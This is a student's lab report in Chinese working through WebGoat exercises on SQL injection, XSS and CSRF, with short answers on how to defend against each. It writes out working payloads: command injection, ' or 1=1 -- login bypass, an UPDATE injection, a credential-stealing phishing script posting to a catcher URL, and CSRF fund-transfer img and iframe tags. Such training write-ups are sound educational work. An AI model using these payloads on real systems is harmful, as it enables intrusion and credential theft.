实验目的
- 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
实验内容
SQL注入攻击
-
- 命令注入(Command Injection)
-
- 数字型SQL注入(Numeric SQL Injection)
-
- 日志欺骗(Log Spoofing)
-
- 字符串型注入(String SQL Injection)
-
- LAB: SQL Injection
-
- 数据库后门(Database Backdoors)
XSS攻击
-
- Phishing with XSS 跨站脚本钓鱼攻击
-
- Stored XSS Attacks
-
- Reflected XSS Attacks 反射型XSS攻击
CSRF攻击
-
- Cross Site Request Forgery(CSRF)
-
- CSRF Prompt By-Pass
课后问题回答
(1)SQL注入攻击原理,如何防御
注入点的不同分类,数字类型的注入,字符串类型的注入(2)提交方式的不同分类,GET注入,POST注入,COOKIE注入,HTTP注入,(3)获取信息的方式不同分类,基于布尔的盲注,基于时间的盲注,基于报错的注入1.定制黑名单:将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。2.限制查询长度:由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。3.限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。4.白名单法:该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如:某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。5.设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。6.限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。(2)XSS攻击的原理,如何防御
XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。(3)CSRF攻击原理,如何防御
CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的,也可以看做是XSS攻击的一种。CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的post请求。比如构造一个转账的post请求。所以CSRF的攻击分为了两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用 等标签或者使用Javascript脚本。2.1 referer因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。2.2 使用验证码每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。2.3 使用token每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。实验过程
一WebGoat安装
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
首先要下载一下jar包,在这个地址下载https://github.com/WebGoat/WebGoat/releases/tag/7.0.1
ava -jar webgoat-container-7.0.1-war-exec.jar
如果可以正常运行就会有如下反应 说明启动成功 然后在浏览器输入localhost:8080/WebGoat
下面有默认密码,登录即可开始试验 SQL注入攻击
(1) 命令注入(Command Injection)
- 可以让我们在目标主机上执行任何系统命令
- 首先进入网页点击
Injection Flaws
-Command Injection
右键点击复选框,选择inspect Element
审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
点击view可以看到执行的结果 可以看到监控到某些端口的开放信息 然后没有注入的结果就是这样,返回值是0
(2) 数字型SQL注入(Numeric SQL Injection)
- 这个可以让我们显示天气状况
- 点击
Injection Flaws
-Numeric SQL Injection
右键点击复选框,选择inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1 在修改完之后点击go然后就可以看到结果了,成功获取天气状况
(3) 日志欺骗(Log Spoofing)
可以让我们使用admin的账户在日志中显示成功登陆 点击Injection Flaws
-Log Spoofing
在User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
利用回车0D%
和换行符%0A
让其在日志中两行显示 输入密码后点击Login
,可以看到webgoat在Login Fail那行显示,我们自己添加的语句在下一行显示 然后我们还可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。用户名中输入admin <script>alert(document.cookie)</script>
可以看到弹窗消息 (4) 字符串型注入(String SQL Injection)
目标:可以基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。 点击Injection Flaws
-String SQL Injection
输入查询的用户名Smith' or 1=1--
使用了'
提前闭合""
,插入永真式1=1
,且--
注释掉后面的内容,这样就能select表里面的所有数据 (5) LAB: SQL Injection
可以使用SQL注入绕过认证。 在密码框输入' or 1=1 --
,登录失败,会发现密码只有一部分输入,说明密码长度有限制。 在密码框右键选择inspect Element
审查网页元素对长度进行修改修改成50试一下
重新输入' or 1=1 --
,登录成功
说明修改一下网页某些元素的长度就可以达到目的了
(6) 数据库后门(Database Backdoors)
输入101
,得到该用户的信息 发现语句没有进行认证 可以使用注入攻击 输入注入语句101; update employee set salary=10000
成功创建后门 XSS攻击
(1) Phishing with XSS 跨站脚本钓鱼攻击
点击Cross-Site Scripting (XSS)
Phishing with XSS
一个带用户名和密码输入框的表格如下:<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
在页面的搜索框中输入代码,可以出现如下的搜索框 现在我们需要一段脚本:来传递参数<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。 合并上面代码<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
并在搜索框中输入即可 输入后输入登录用户名和密码即可显示,WebGoat会将输入的信息捕获并反馈给我们。 (2) Stored XSS Attacks
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。 在Message
中构造语句<script>alert("20165303 attack succeed!");</script>
title随意输入,输入后可以发现刚刚创建的帖子 点击20165303可以看见攻击成功 (3) Reflected XSS Attacks 反射型XSS攻击
XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。在Enter your three digit access code:
中输入<script>alert("I am 20165303");</script>
点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容。
输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息
CSRF攻击
(1) Cross Site Request Forgery(CSRF)
点击XSS
-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters中的src
和menu
值,我的分别为314和900 在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片) 输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。 (2) CSRF Prompt By-Pass
点击CSRF Prompt By-Pass
查看页面右下方的Parameters中的src和menu值,我的分别为330和900,并输入任意的Title,message框中输入代码<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
点击submit,生成以title命名的链接,点击链接攻击成功 实验中遇到的问题
首先就是kali总是无法运行jar包,后来发现是JDK版本太高的问题,解决的办法就是重新装一下JDK或者重新找一个虚拟机,然后就可以使用了,具体原因我想是因为上次实验的额时候整个把kali给更新了一下,导致的后果就是里面的软件都太新了,没办法使用,还有就是做实验的时候里面有一些英文看不懂,这就需要你四级或者六级英语学得非常好了,或者你也可以找一下百度翻译什么的
实验感受与体会
这次实验的给我的感受就是漏洞真的是无处不在,可以从方方面面都可以进行进攻,有的就是简单的注入,有的就是复杂的修改网页什么的,最根本的的原因还是因为代码的问题,送到CPU去执行的时候,机器CPU没有智能识别这段代码到底是不是应该执行,应该执行到哪个位置停下来的问题,所以导致的后果就是人为的干预正常的代码执行从而导致出错,导致严重后果,所以我想的是在今后是不是可以出一下AI智能执行某些代码或者什么的防止这些漏洞产生。